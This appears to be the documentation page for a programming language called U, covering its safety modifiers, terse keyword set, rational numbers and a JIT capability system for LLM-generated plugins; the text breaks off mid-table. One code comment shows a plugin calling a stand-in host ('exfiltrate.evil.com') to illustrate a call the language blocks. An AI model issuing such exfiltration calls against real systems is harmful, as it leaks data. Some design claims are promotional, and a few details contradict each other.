Why U?
Most languages aim for one pit of success. U aims for two — one for developers, one for every tool that reasons about the code afterward. To our knowledge, U is the first language designed for two audiences at once: humans who write and review code, and LLMs that autonomously write, analyse, and reason about large codebases.
Pit 1 — For developers: the easy path is the safe path
A function written in U with no annotations is already correct by default. Parameters are local, immutable, and non-null. The compiled output uses no heap allocation, no ARC operations, no locks, no null checks. You get the safest and fastest possible program without writing a single modifier.
Every cost you might want to add — heap allocation, mutability, shared ownership, async suspension, nullable values — requires an explicit + annotation. You cannot accidentally pay for something you didn't ask for. You cannot accidentally make something unsafe without a visible opt-in. The pit of success means the path of least resistance is also the path of least risk.
// No annotations — you still get all of this for free: f process(data: [N], label: S) -> Stats total = data.reduce((acc, val) => acc + val, 0.0) r => { total, mean: total / data.length, label } // ✅ No heap allocation (-R default) // ✅ No null dereference (-N default) // ✅ No data race (-R: nothing shared) // ✅ No ARC cost (-R: no refcount) // ✅ Zero-copy return (r.field = DPS) // ✅ Bounds-safe iteration (.x() / .reduce()) // ✅ 1-based indexing (arr[1] = first, arr[arr.length] = last)
Pit 2 — For tooling: declared structure beats inferred structure
Today when a compiler, static analyser, or LLM inspects a codebase, it performs expensive reconstruction work: inferring ownership patterns, guessing threading assumptions, rebuilding the call graph, reconstructing what each binding is supposed to mean. That work is paid on every query, produces approximations, and is discarded at session end.
In a U codebase, every binding site is a machine-readable declaration of intent. +R+M(MVCC) says exactly how a shared object behaves under concurrent writes. +N marks every nullable boundary. ! NetworkError declares exactly what can fail. The entire semantic structure of the program is explicit in the syntax — not buried in conventions, comments, or commit history.
Existing language — inference every time
// Defined somewhere in the codebase: function load_config() { ... } // Tool must infer on every call: // — is the return shared or local? // — can it be null? // — what write policy applies? // — what errors can it throw? // — does it escape its scope? let config = load_config(); config.host = new_host; // Expensive. Approximate. Repeated on every query.
U — structure declared once, read forever
// Declared ONCE on the function: f load_config(): Config+R+M(MVCC) ! NetworkError ... // Call site is clean — type inferred: config = load_config() // Config+R+M(MVCC) — inferred config << { host: new_host } // MVCC policy known from type // O(1). Declared once, read everywhere.
This changes the economics of code analysis. An entire class of infrastructure bugs — data races, use-after-free, null dereference, async violations, injection attacks — is structurally impossible and doesn't need to be searched for at all. The bugs that remain are logic bugs, and they can be targeted precisely because the program's semantic structure is already declared.
Every language before U was designed for one audience: the human developer. LLMs arrived later and had to reconstruct implicit structure — ownership patterns, threading assumptions, nullable boundaries — through expensive inference, on every query, discarded at session end.
In U, that structure is declared at the binding site, verified by the compiler, and readable by any tool in O(1). The same annotations that make code correct for humans make it legible for LLMs. To our knowledge, U is the first language that treats LLMs as a first-class consumer rather than an afterthought.
LLMs are probabilistic. Compilers are deterministic. When an LLM writes U code and the compiler rejects it, that is a vulnerability caught before it runs — at zero marginal cost, exhaustively across every code path the type system covers. A second LLM review has correlated failure modes with the first. The compiler's failure modes are uncorrelated: it does not hallucinate, does not miss paths due to context length.
Anthropic can enhance U over time by observing LLM-generated code at scale — identifying new error patterns, adding new modifier dimensions, tightening new compile-time checks. No other language designer has a billion lines of LLM-generated code to learn from. The pit of success deepens with every version.
Every binding in U has a statically known type at compile time. There is no any, no root Object, no untyped back door. The : type test is for narrowing only — checking whether a Shape is a Circle, whether an object implements Drawable. It is never needed to ask "is this typed?" because every value always is.
Java has Object casts. TypeScript has any. Go has interface{}. Swift has Any. U has none of these. If you cannot name the type of a value, the design is incomplete.
On LLMs and the Need for New Languages
A reasonable objection: large language models trained across millions of codebases already know the right patterns. They'll suggest MVCC over a raw mutex, typed errors over untyped exceptions, non-null defaults. Why build a new language?
Knowing a pattern and structurally enforcing it are different. An LLM can recommend MVCC but cannot prevent the next developer — or the next LLM call — from omitting the write policy on the following binding. The pit of success requires the correct path to be the easy path for every developer on every call, not only those who consulted the model at the right moment.
The four layers — what catches what
| Layer | What it catches | When | Cost |
|---|---|---|---|
| LLM | Pattern suggestions, architectural advice | During generation | Inference tokens |
| U compiler (static) | Type errors, injection, null, data races, modifier violations, template structure, i18n keys, regex syntax, capability surface | Build time | Zero marginal |
| c f standard library | HTML attribute types, SQL schema, CSS properties, URL schemes, ReDoS patterns, locale bundle completeness | Build time | Zero marginal |
| JIT compiler (runtime) | Same as static — for dynamically loaded modules and templates | Load time | Once per load |
| Runtime provenance | Template path against org policy, content hash integrity, capability surface of loaded plugin | Runtime | Hash check |
| Safebox (infrastructure) | Process-level isolation, network policy, file system access, capability manifest enforcement | Runtime | Kernel |
JIT loading makes LLM-generated plugins safe
When an LLM generates a plugin at runtime — a capability, a template, a workflow — U's JIT compiler analyses it before it executes. The plugin's o declarations are extracted, checked against what the caller is willing to grant, and type-verified against the declared interface. An LLM hallucinating a Network.HTTP call inside a plugin that was only granted Templates access gets a CapabilityError before a single line of its code runs.
// LLM generates a plugin at runtime: plugin: SummaryPlugin+A = a o(llm_generated_path, { Templates, // grant: can use template tags Network.LLM.Summariser // grant: can call the summariser LLM // NOT granted: FileSystem, Network.HTTP, Network.SMTP }) // If LLM plugin tries to fetch("https://exfiltrate.evil.com") → CapabilityError // If LLM plugin tries to send email → CapabilityError // If LLM plugin passes S where Templates.HTML expected → type error // All caught before execution. Zero runtime damage.
Provenance means bad LLM content can't reach sinks
If an LLM generates email body content as raw S, it cannot be passed to SMTP.send() which requires Templates.HTML. The LLM must produce content through the template system, which validates structure, escapes injection, checks attribute types, and records provenance. The runtime then verifies provenance against org policy. An LLM cannot accidentally (or adversarially) inject malicious content into an email, SQL query, or HTML page — not because we filter output, but because the type system makes it structurally impossible.
Contents
/* */ nesting supported
02Primitives & LiteralsI N S L B V — single-letter types, width suffixes
03.5ParenthesesNo {} · () for blocks and grouping · last expr is value
03.6ComprehensionsShorthand {host, port} · spread {...obj, key: val}
03VariablesInferred types · identifiers must be multi-letter
04Functions & Lambdasf named · => lambda · r return · zero-copy DPS
04.5Closures & Arrowsf hoisted + named · () => anonymous + captures t · modifier rules apply
05KeywordsAll 9, single letter — complete and settled
06Modifiers8 commutative dimensions · zero annotation = safest & fastest
05.5Namespaces & Moduleso keyword · import · export · t inference · multi-file extension
06.5+F Function ModifierT +F = any callable producing T · bare form most general
07Classes & Selfd · : inheritance · +P policy · no multiple inheritance
07.5Type Hierarchiesd Foo.Bar : Foo · enum replacement · typed dispatch · +G static
07.6Interfacesd Foo! · f method()! · never static · untyped params banned
08MapsDynamic keys · full modifier enforcement on values
08.5Magic Methods__hash__ · __equals__ · __pack__ · __unpack__ · __merge__
09Null Safety-N default — null dereference is a compile error
10Conditionals?! : & | ?? — no if/else/switch/match keywords
11Iteration.x() replaces all loops · always bounded · pipelines
11.5Ranges1..5 · * step · scalar lift · array slicing · zero allocation
12Generatorsw loop · y yield · w+I intentionally infinite
13Error Handlinge throw · e.x() typed handler chain · object interfaces · ! ErrType
14Fibers & Red-BlueStackful · any depth can suspend · async coloring solved
15Async — a keywordAuto-await default · a f() opt-in · T +A pending type
15.5+A as Pending Typea and +A inferred from a · exactly two valid call forms
15.6Zero-Cost PrincipleLazy materialization · no cost unless both conditions hold
15.7BackpressureT +A return in .x() → bounded concurrency, no primitives
16Scheduler & Yielda; cooperative · a n timed · toposort · typed pub/sub
17Proxy Policies+R(RAII) / +M(Actor|MVCC|CRDT|Mutex) · class-level or binding-site
18Templates & i18nhtml/sql/msg interpolation escaped at compile time · injection = type error
19Arithmetic SafetySafe by default · ! to opt out · compiler elides proven checks
20Memory ModelTiered from type · ARC without atomics · no GC pauses
21Copy — .c()Only explicit copy mechanism · lazy COW · free when refcount=1
22Zero-Copy ReturnsDestination-passing style · compiler-guaranteed, not hoped for
23Defaults-R -M -N: zero annotation = max safety and max speed simultaneously
24Safety by Construction11 error categories — type errors, not runtime crashes
17.5Access PoliciesRAII · ARC · MVCC · CRDT · Actor · vs GC languages
17.6MVCC DefaultDefault write policy · atomicity · rollback on exception
23.5vs C++, Java, Rust, GoExceptions · RAII · null safety — detailed comparison
25vs Go / JS / SwiftColoring solved · no microtask starvation · minimal fiber frames
26vs Rust / ZigMultiple writers via proxy · modifier replaces borrow checker + allocator param
24JIT LoadingRuntime module loading · c f · TemplateLang! · provenance · capability grants
30Program = Graph+A edges · demand-driven dataflow · reactive · lambda calculus parallel · five interpretations
27Formal Guarantees22 theorems · 8 corollaries · all proved in the λ_U calculus
Seven modifier dimensions replace escape analysis, alias analysis, null checks, ARC atomics, async coloring, injection vulnerabilities, and i18n errors. Each annotation is a proved safety invariant and a compiler oracle. The zero-annotation default is the safest path and the fastest path.
U — Where the Easy Path Is the Safe Path
U is a systems programming language built around one insight: type annotations serve two clients simultaneously. The programmer gets safety guarantees. The compiler gets optimization licenses. Same annotation. Both benefits.
-R -M -N is the safest path and the fastest path. Every cost — heap allocation, mutability, nullability, sharing, async survival — is opt-in with an explicit +. You cannot accidentally pay for something you didn't ask for.
Scannability. Single-character keywords (f d a r t w e o c) act as visual anchors — your eye recognises structure before reading words. a f is an async function. r => is the return. a inline is an async call. Experienced readers parse a function's shape in under a second, the way a musician reads notation rather than spelling out note names. Combined with no braces, no semicolons, and safety that eliminates defensive boilerplate, U code is typically 30–40% shorter than equivalent Python or TypeScript — and faster to scan than either.
// No annotations — local, immutable, non-null, zero cost f main() greeting = "Hello, world!" // S -R -M -N — inferred console.log(greeting) // greeting is: local (no heap), immutable (no lock), non-null (no check) // The compiler emits zero allocation, zero null check, zero ARC operation.
Comments — like C, but /* */ supports nesting
Single-line // and block /* */, identical to C. The one difference: block comments nest. This means you can wrap any section of code in /* ... */ without first checking whether it already contains block comments.
/* already commented */ ends the outer comment early, leaving the rest as live code. U's nested /* */ means comment-out always works, regardless of what's inside.
// Single-line — to end of line /* Block — spans lines */ /* Nesting works — unlike C /* inner comment */ still commented out here */ /* Comment out any block safely, even if it has block comments inside: f old_version(data: [I]) /* deprecated */ process(data) */ f add(a: I, b: I) -> I // inline is fine too r => a + b
Primitives & Literals
All primitive types are single uppercase letters. Width specifiers suffix the letter. No verbosity — I not int32_t.
| Type | Meaning | Width variants | Literals |
|---|---|---|---|
| I | Signed integer | I8 I16 I32 I64 | 42 -7 0xff |
| U | Unsigned integer | U8 U16 U32 U64 | 255u 0b1010u |
| N | Float (number) | N32 N64 | 3.14 1.0e-9 |
| Q | Rational pair — exact · symbolic by default · =! materialises | Q Q2 Q5 Q32n | Q(1,3) 1/3 |
| S | String (UTF-8) | — | "hello" |
| L | Logical (Boolean) | — | true false |
| B | Byte | — | 0x00–0xFF |
| C | Complex number | C64 C128 | C64 C128 |
| none | Null literal | — | type T+N |
| true | Logical true | — | type L |
| false | Logical false | — | type L |
C (Complex) — C64 = two N32 (real+imag) · C128 = two N64. NumPy convention. .re / .im accessors. Supports + - * / @ ^.
B (Byte) — protocol boundary type. Bitwise ops only (~&, ~|, ~^); no arithmetic. [B] is the input type for all template tags (capnproto, le/be, etc.) and crypto primitives. Use U8 when numeric intent matters.
count = 42 // I inferred small: I32 = -7 // I32 explicit width ratio = 3.14 // N float64 price = Q(1,3) // D exact decimal, no float rounding msg = "Hello!" // S UTF-8 string alive = true // L logical nothing: I+N = none // nullable integer — requires +N annotation // Ranges — produce iterable values exclusive = 0..10 // [0,10) — 0,1,2,...,9 inclusive = 1..=5 // [1,5] — 1,2,3,4,5
regex`...` — compile-time validated pattern literal
Regex patterns use the regex`...` template literal, not a string constructor. The compiler validates the pattern at build time, pre-compiles it, and types it as Regex. Flags appear as a suffix after the closing backtick. Interpolation accepts only Regex sub-patterns — raw S values are a compile error (a string injected into a pattern could contain unescaped special characters).
S is auto-escaped in html`...` and parameterized in sql`...`, it is rejected entirely in regex`...` — there is no safe way to interpolate a raw string into a pattern. Only Regex sub-patterns may be composed.
// Compile-time validated and pre-compiled: email = regex`[a-z]+@[a-z]+\.[a-z]+`i // Regex — flag i after backtick digits = regex`\d+` spaces = regex`\s+`g match = email.match(input) // returns [S]+N clean = spaces.replace(text, " ") // Compose Regex sub-patterns via interpolation: prefix: Regex = regex`[A-Z]{2,4}` code: Regex = regex`\d{3}` full: Regex = regex`{prefix}-{code}` // ✓ Regex in regex`` = safe composition // Compile error — S not allowed in regex context: // pat: S = "\d+" // broken = regex`{pat}` ✗ S cannot be interpolated into regex`` // Invalid pattern = compile error: // bad = regex`[unclosed` ✗ syntax error at compile time, not runtime
Q — Rational Pair Arithmetic
Q stores (numerator, denominator) as N64 floats used purely as integers. IEEE 754 doubles represent all integers below 253 exactly — so Q arithmetic on practical denominators is exact with standard hardware. Q replaces D entirely.
| Type | Meaning |
|---|---|
| Q | Flat, unconstrained rational pair |
| Q2 | Denominator ≤ 100 — exact currency (2 decimal places) |
| Q5 | Denominator ≤ 105 — 5 decimal places |
| Q32n | Symbolic, nesting depth ≤ 32 |
Symbolic by default — the pit of success
= keeps Q expressions symbolic (nested, deferred). =! materialises NOW — forces one IEEE division. Assignment to non-Q context also auto-materialises.
// = is symbolic by default — no IEEE arithmetic yet: result = Q(1,3) * Q(3,5) // Q(Q(1,3), Q(3,5)) — symbolic chain = result / Q(2,7) // still symbolic — one more level // =! materialises NOW: flat =! chain // ONE IEEE division — maximally stable num: N = chain // auto-materialises to float chain.__string__() // auto-materialises for display // Exact comparisons — always correct: Q(1,10) + Q(2,10) == Q(3,10) // TRUE — 0.1+0.2==0.3 Q(1,3) * 3 == Q(1,1) // TRUE — 1/3 * 3 == 1 // I / I returns Q — no silent truncation: third = 1 / 3 // Q(1,3) — not 0 1 // 3 // floor division → I(0) // Special values: Q(1, 0) // w (positive infinity) Q(-1, 0) // -w (negative infinity) Q(0, 0) // none (undefined) Q(1, w) // 0 in the limit (infinitesimal)
Comprehensions & Spread
Shorthand literal syntax for constructing objects and maps from existing values. Works for class instantiation and map literals.
// Shorthand: variable name used as key host = "localhost" port = 8080 config = Config( host, port ) // Config({ host: host, port: port }) // Spread + override: ... spreads all fields, then overrides new_config = Config( ...config, host: "newhost" ) new_map = { ...meta, "version": 4 } // map spread // Works in any expression context servers = configs.map((cfg) => Server( ...cfg, active: true ))
Variables & Type Inference
U infers types from the right-hand side. Annotations are optional — add them only when you want to change the defaults. Default modifiers depend on what is being declared:
- Scalars (
I N S L Q B):-R -M -N— local, immutable, non-null. Safest and fastest. - Collections (arrays
[]and maps{K:V}):-R +M -N— mutable by default. You almost always push and insert. - Object properties:
+Mby default. Mark-Mexplicitly only for fields frozen after construction (e.g.id: I-M).
Objects have a fixed set of properties — they are not maps or bags. +M on an object means existing properties can be mutated, not that new ones can be added.
Assignability: a +M ref can always be assigned to a -M ref; a +R ref to a -R ref. Never the reverse.
-M collections and objects must be initialized with already-constructed values — no +N placeholder slots needed. The compiler constructs values in-place, eliminating copies.
count not c, index not i. Descriptive names are structural.// Inferred — all default to -R -M -N count = 0 // I -R +M -N (local mutable, class default) ratio = 3.14 // N -R -M -N greeting = "hello" // S -R -M -N point = { x: 1.0, y: 2.0 } // {x:N,y:N} -R +M -N items = [1, 2, 3] // [I] -R +M -N — indexed 1..3 // Explicit — override inferred type or modifiers shared: I+R+M = 0 // shared mutable integer on heap config: Config+R-M = load() // shared immutable Config maybe: User+N = none // nullable User width: I32 = 640 // explicit 32-bit width
Parentheses — Grouping and Block Scope
U has no {} curly braces. () are the only grouping construct. Inside parentheses, newlines are free — the expression continues until the closing ). The last expression inside a block is its value. This applies everywhere: argument lists, conditions, chained operations, multi-statement blocks.
Commas and newlines are interchangeable inside (). A comma means "next statement" exactly as a newline does, enabling compact inline blocks: (a = f(), b = g(a), a + b) is identical to the three-line form.
(). Everything is an expression, so a () block produces a value.
// Grouping across newlines — continues until ) total = ( subtotal + tax + shipping ) // Block expression — multiple statements, last is value result = ( step1 = do_first_thing() step2 = do_second_thing(step1) step1 + step2 // ← value of the block ) // Complex condition spread across lines valid = ( user.age >= 18 & user.verified & !user.banned ) // Argument list — newlines freely between args response = submit_order( order_id, items.x((i) => i.c(+R)), shipping.address, payment.token ) // Pipeline of operations that would be awkward inline processed = ( raw = a fetch(url) clean = sanitize(raw) valid = validate(clean) valid // ← returned value ) // Chained method calls broken across lines summary = ( orders .x((order) => order.paid) .x((order) => order.amount) .reduce((acc, amt) => acc + amt, 0.0) ) // Ternary branches using () for multi-line without indentation rules label = count > 0 ? ( plural = count > 1 plural ? "{count} items" ! "1 item" ) ! "empty"
Functions & Lambdas
Named functions use f. Lambdas use => alone.
Two distinct return models:
- Lambdas —
(params) => expr— expression semantics. The=>means "this is the value." The last expression is always returned, exactly like a( )block.u => u.namereturnsS;() => (w num, num = num + 1)returns the result of the assignment. - Named functions (
f) — statement semantics. The body executes statements. Return requires explicitr => expr. Falling off the end returnsnoneimplicitly. If the return type is non-null (Twithout+N), any branch that lacksr =>or returns the wrong type is a compile error — every non-null path must be accounted for.
( ) bare expression blocks follow lambda semantics — last expression is the value.
Implicit none in L+N contexts. When a method expects a handler of type F(...) → L+N (all iteration methods) and the lambda body returns a type that doesn't satisfy L+N, the compiler implicitly returns none. This is the pit of success for iteration: writing a side-effect lambda and falling off the end automatically signals "continue" — you only write true when you mean "stop."
Handler lambdas in .x(), .filter(), and .find() exploit this — returning none, false, or true as the three-signal directly.
r.field = ... writes into the caller's pre-allocated stack slot — no copy on return.
// Named function f add(left: I, right: I) -> I r => left + right // Short form — expression body f square(val: N) = val * val // Lambda — => implies anonymous, no f needed double = val => val * 2 increment = val => val + 1 // Multi-expression lambda — last expression is the return value clean = item => ( trimmed = item.strip() trimmed.lowercase() // returned ) // Return-by-construction — r.field writes into caller's pre-allocated slot // No copy on return. Destination-passing style, guaranteed by the type system. f build_user(name: S, age: I) -> User r.name = name // writes directly to caller's frame r.age = age // no copy occurs at return // Default parameters f connect(host: S, port: I = 8080) -> Connection+R+M+N r => tcp.dial(host, port) // Higher-order — F(I)->S means "function taking I, returning S" f apply_twice(fn: F(I)->I, val: I) -> I r => fn(fn(val)) result = apply_twice(double, 3) // 12
Optional named parameters — {} at end
The last parameter may be an anonymous typed map, destructured by the compiler. Named params are optional, have declared types and defaults, and never break existing callers when extended.
Constructors follow the same rule: class fields without defaults become positional parameters; fields with defaults go in the trailing { } bag. Constructors are just __construct__ functions — no special case.
• Positional params: required, ordered, no defaults — always honest
• One
{} at the end: anonymous destructured map, defaults allowed
• No defaults on positional params — ever (compiler error)
• No anonymous
{} in middle positions — use a named class there
// {} at end — optional named params with defaults f fetch(url: S, count: I, { timeout: I = 30, verbose: L = false }) fetch("api.com", 5) // all defaults fetch("api.com", 5, { verbose: true }) // one named fetch("api.com", 5, { timeout: 60, verbose: true }) // two named // Adding new optional never breaks callers: // f fetch(url: S, count: I, { timeout: I = 30, verbose: L = false, retries: I = 3 }) // All existing call sites still work unchanged // {} in middle? Use a named class instead: d FetchOpts { timeout: I = 30 } f weird_func(x: I, opts: FetchOpts, y: S) // explicit, named weird_func(5, FetchOpts( timeout: 60 ), "hi") // ❌ No defaults on positional params — compile error: // f bad(x: I, y: I = 5) ← banned
Instantiation — ClassName({ field: value })
No new keyword. Constructors are just __construct__ functions — no special case. The compiler auto-generates one from the class fields following the universal function rule: fields without a default are positional; fields with a default go in the trailing { } options bag. You can also pass a variable as the options bag.
This makes every constructor consistent with every other function in the language.
// Fields without default → positional. Fields with default → { } bag. d User id: I // required — positional in __construct__ name: S // required — positional email: S = "" // optional — goes in { } bag admin: L = false // optional — goes in { } bag // Auto-generated __construct__ (what the compiler produces): // f __construct__(id: I, name: S, { email: S = "", admin: L = false }) // Call sites: alice = User(1, "Alice") // required only bob = User(2, "Bob", { email: "[email protected]" }) // one optional admin = User(3, "Admin", { email: "[email protected]", admin: true }) // two optional guest = User(opts_bag) // variable works too — destructured // Custom __construct__ — same rule, just written explicitly: d Config host: S = "localhost" port: I = 8080 debug: L = false f __construct__({ host: S = "localhost", port: I = 8080, debug: L = false }) validate(t.port > 0) // custom logic before init cfg = Config({}) // all defaults prod = Config({ host: "prod.api.com", port: 443 })
Surplus-argument dropping
A handler may declare fewer parameters than it will receive. Surplus arguments are silently dropped from the right. This is not the same as default values — the caller supplies all arguments; the callee simply ignores the extras.
Primary use case: iteration handlers. Array and map methods pass
(value, key); handlers that only care about the value declare one parameter and the key is dropped.
// Array iteration: (value, index) passed, handler takes only value nums = [10, 20, 30] nums.x((n: I) => print(n.__string__())) // index silently dropped nums.x((n: I, i: I) => print(i.__string__() + ": " + n.__string__())) // both // Map iteration: (value, key) passed scores: {S: N} = { "alice": 9.8, "bob": 7.4 } scores.x((score: N) => process(score)) // key silently dropped scores.x((score: N, name: S) => print(name)) // both — note value comes first // Named functions also obey the rule when used as handlers: f process(item: S) -> L r => item.length > 0 items.filter(process) // (S, I) passed, process takes (S) — I dropped // Compile error — declared param type must match what's supplied: // scores.x((score: I) => ...) ← ✗ N supplied, I declared
Closures & Arrow Functions
U has two function forms. They differ on naming, hoisting, and t capture.
f name(params) | (params) => expr | |
|---|---|---|
| Name | Required | Optional (usually anonymous) |
| Hoisted | Yes — callable before declaration | No — it's a value expression |
t (self) | Explicit parameter — not captured | Captured from enclosing scope |
| Multi-line | Indented body | (params) => ( ... block ... ) |
| Use for | Reusable named logic, methods | Callbacks, policies, inline transforms |
f functions. If you write f, name it. Names make functions findable, reusable, and documentable. Arrow functions are intentionally disposable — use them for one-shot inline logic.
-> for types, => for values — one symbol per role.(I)->I — a function type: "takes I, returns I". Appears in type annotations after :.(x: I) => x * 2 — a function value: "given x of type I, produce x * 2". Appears in expressions.The visual distinction is deliberate.
-> is the classical type-theory arrow (Haskell, Swift, Kotlin). => produces a value. Seeing (NetworkError)->() you immediately know it's a type; seeing (err) => retry(err) you know it's a closure.
// Named f — hoisted, t is explicit, not captured f greet(name: S) -> S r => "Hello, " + name greet("Alice") // fine even before the f declaration above (hoisted) // Arrow function — anonymous, captures t, is a value greet: (S)->S = (name) => "Hello, " + name // Multi-line arrow uses () block — last expr is the value process: (I)->S = (num) => ( doubled = num * 2 "result: {doubled}" ) // Closure — captures outer variable, subject to modifier rules f make_multiplier(factor: I): (I)->I r => (num: I) => num * factor // captures factor (I is -R, value-copied in) double = make_multiplier(2) // double: (I)->I double(5) // 10 // Capture rules — same modifier rules as any variable f setup() local: S = "hello" // -R stack msg: S+R = local.c(+R) // heap copy ok: (()->())+F-R = () => log(local) // ✅ non-escaping, in-scope only bad: (()->())+F+R = () => log(local) // ❌ ERROR: +F +R captures -R local fine: (()->())+F+R = () => log(msg) // ✅ +R captured into +F +R // In a class: arrow captures t, f() does not d Button clicks: I+M = 0 f on_click() // t is explicit — this is a method call t.clicks = t.clicks + 1 handler: (ClickEvent)->() = (e) => // arrow captures t from Button instance t.clicks = t.clicks + 1 // ✅ t is the Button // Function values carry all modifiers like any other value policy: (NetworkError)->()+R = (err) => retry(err) // heap, shareable policies: [(NetworkError)->()] = [log_to_sentry, retry_on_recoverable] // array // Passed to e.x() as a policy array — order defined, preserved e.x(policies)
Keywords — 9 + 3
Twelve keywords total: nine single-letter (a c d e f o r t w) and three multi-letter literals (none, true, false). You can memorize the entire language vocabulary in five minutes.
a f declaration = behavioral keyword marking function as suspendable. (2) a f() call site = opt into T +A pending (co-requires +A on LHS). (3) a; or a n = cooperative/timed yield.c f func() — runs at compile time. c f __load__() — module initializer. c memoize(func, 60) — apply at call site.=> without f.r => value or r.field = ... for zero-copy return-by-construction.this in JS or self in Python.w value — emit from generator, continue. [1..w] — infinite range. [0..w]*2 — evens. No while loops — use [1..w].x().o Math.Linear imports, o Math.Linear => (...) exports. Four import forms: plain, .* glob, scoped (...), scoped glob .*(...).T+N. Use ?? to coalesce and +N to permit.L.L.// f — named function d — class definition d Stack[T] items: [T]+R+M f push(stack: Stack+R+M, item: T) t.items.append(item) // t — self/this f pop(stack: Stack+R+M) -> T t.items.is_empty() & e StackUnderflow() // e — throw error r => t.items.remove_last() // r — return // w — wield (emit from generator) f evens() -> I+W num = 2 [1..w].x(() => ( w num // w value — emit to caller num = num + 2 none // continue )) // o — import / capability o Math.Linear // import module o { Network.HTTP } // with capability o => { evens, Stack } // export // c — compile-time function fetch_cached = c memoize(fetch_data, 60) // c f HOF, zero overhead // none — the null value (multi-letter literal) maybe_user: User+N = none
The Modifier System — ±R ±M ±N +V +C +A +F
Modifiers are single letters prefixed with + or -, placed after the type. Three binary axes plus three hardware domain modifiers. All default to the - (cheapest, safest) option.
-R Local, stack-resident, non-shared. Zero ARC cost.
+R Heap-resident, ARC-managed, shareable.
-M Immutable through this reference.
+M Mutable. Proxy-mediated when +R.
-N Guaranteed non-null. No null check emitted.
+N May be none. Must handle before use.
SIMD on CPU · warp execution on GPU. Applies to numeric types: N32+V, I8+V, I16+V. Invalid on L, S, B — compile error.
Near-memory, cache-line aligned. Compiler emits prefetch hints. Useful for hot loop data.
Pending value — result of a f() at the call site. Inferred automatically by the compiler when a is used; explicit annotation optional. Survives fiber suspension. Works on any function — a at call site creates the fiber regardless of whether f was declared a f.
a+ is a deliberate, visible trade-off — nothing expensive happens without one.// -R -M -N default: stack, immutable, non-null — zero cost f process(user: User, count: I) -> S // all -R -M -N r => "done" // +N nullable — result may be none f find_user(id: I) -> User+N // +N: may return none r => db.find(id) // +R -M shared immutable — safe to broadcast, no lock needed config: Config+R-M = load_config() workers.x(worker => worker.configure(config)) // zero-copy broadcast // +R +M shared mutable — proxy-mediated writes cache: Cache+R+M = Cache() +M(MVCC) cache.set(key, val) // routed through MVCC proxy // +V: vectorized execution (SIMD on CPU, warps on GPU) simd_vec: [N32]+V = load_data() // CPU SIMD — data stays on CPU gpu_vec: [N32]+R(GPU) = simd_vec.c(+R(GPU)) // copy to GPU device memory run_kernel(gpu_vec) // dispatches as GPU warps // same matrix type, different location — same API weights: [[N32]] = load_model() // CPU scalar weights: [[N32]]+V = load_model() // CPU SIMD weights: [[N32]]+R(GPU) = load_model() // GPU device memory weights: [[N32]]+R(Network) = load_model() // remote cluster // +A survives fiber suspension a handle() -> Response buf: [L] = alloc(4096) // -A: stack-local, NOT saved at suspension state: Req+R+A = build_req() // +A: saved to fiber frame result = a net.get(state) // suspend — only state saved, not buf r => parse(result, state)
The 8-Combination Matrix
| Combination | Contract | Alloc | Sync | Null chk | ARC |
|---|---|---|---|---|---|
-R -M -N | local immutable non-null | stack | none | none | none |
-R -M +N | local immutable nullable | stack | none | on use | none |
-R +M -N | local mutable non-null | stack | none | none | none |
-R +M +N | local mutable nullable | stack | none | on use | none |
+R -M -N | shared immutable non-null | heap | lock-free | none | integer |
+R -M +N | shared immutable nullable | heap | lock-free | on use | integer |
+R +M -N | shared mutable non-null | heap | proxy | none | integer |
+R +M +N | shared mutable nullable | heap | proxy | on use | integer |
Namespaces & Modules — o
The o keyword ("outside") handles both import and export. Dots in class and function names are free namespacing — d Foo.Bar is simply a class named Foo.Bar, no special mechanism needed. o declares which namespace a file contributes to, and how to bring namespaces into scope.
Importing — four forms
o Math.Linear // qualified: Linear.matmul, Linear.Foo available o Math.Linear.* // glob: matmul, Foo available as bare names o Math.Linear ( // scoped qualified: only inside this block result = Linear.matmul(a, b) ) // Linear no longer in scope here o Math.Linear.* ( // scoped glob: only inside this block result = matmul(a, b) // bare name works here ) // matmul no longer in scope here
.* by default? Two modules both exporting transform or parse create silent conflicts. The explicit .* is a visible declaration: "I know I'm unpacking everything into this scope."
Exporting — o Name => (...)
The => direction makes intent unambiguous: this block produces into the namespace. Multiple files can contribute to the same namespace — open extension, like traits. This is not prototype pollution: adding methods to a class you don't own requires the o declaration to explicitly claim that capability. The compile-time capability system enforces that a module can only extend classes whose namespaces it has declared access to — an undeclared extension is a compile error, not a silent mutation of someone else's type.
// file: math/linear.u f _helper(a: [N32+V], b: [N32+V]) -> N // _ prefix → private, never exported a.reduce((acc, i, v) => acc + v * b[i], 0.0) o Math.Linear => ( d Result // becomes Math.Linear.Result value: [[N32+V]] error: N f matmul(a: [[N32+V]], b: [[N32+V]]): [[N32+V]] // t absent → +G inferred r => a.x((i, row) => row.x((j, _) => _helper(row, b.col(j)))) f scale(factor: N): [[N32+V]] // t used below → instance method r => t.x((i, row) => row.x((j, v) => v * factor)) )
Static vs instance — inferred from t
The compiler scans the function body for the keyword t (self). Present anywhere → instance method. Absent → +G (static) inferred. No annotation needed. A function with no t has no business being an instance method — the rule is correct by definition, not just convenient.
o Geometry => ( d Circle radius: N f unit_circle() -> Circle // no t → +G, called as Geometry.unit_circle() r => Circle( radius: 1.0 ) f area() -> N // t used → instance method r => Math.PI * t.radius ^ 2 f scale(factor: N) -> Circle // t used → instance method r => Circle( radius: t.radius * factor ) ) // static callable on instance as sugar: c = Geometry.unit_circle() // direct c = some_circle.unit_circle() // also valid — desugars to above
Multi-file namespaces — open extension
// math/linear_basic.u o Math.Linear => ( f matmul(...) ) // math/linear_advanced.u — extends same namespace o Math.Linear => ( f svd(...) f lu(...) ) // conflict (same function name in two files) = compile error
External packages
o "github.com/u-lang/math" // external — resolved by package manager o "./utils" // relative — exposes utils/*.u namespaces
+F — The Function Domain Modifier
The modifier set gains a seventh dimension: +F, the function domain. All modifiers are commutative — the set is unordered. Three forms: bare, nullary, and typed.
Modifier Commutativity — The Fundamental Rule
T +R +M and T +M +R are identical. T +F +A +R and T +R +A +F are identical. The parser normalizes to canonical order for display; semantics are always position-independent.The Complete Seven-Dimension Modifier Set
| Modifier | Domain | Meaning | Default |
|---|---|---|---|
| ±R | Ownership | -R: stack-local · +R: heap, ARC | -R |
| ±M | Mutability | -M: immutable · +M: mutable, proxy-mediated | -M |
| ±N | Nullability | -N: non-null · +N: may be none | -N |
| V | Vectorized float | — | |
| +C | Cache | Near-memory, prefetch | — |
| +A | Async | Async domain: pending or suspendable | — |
| +F | Function | Callable producing the base type T | — |
Three Forms of +F
| Form | Meaning | Use case |
|---|---|---|
T +Fbare — no parens |
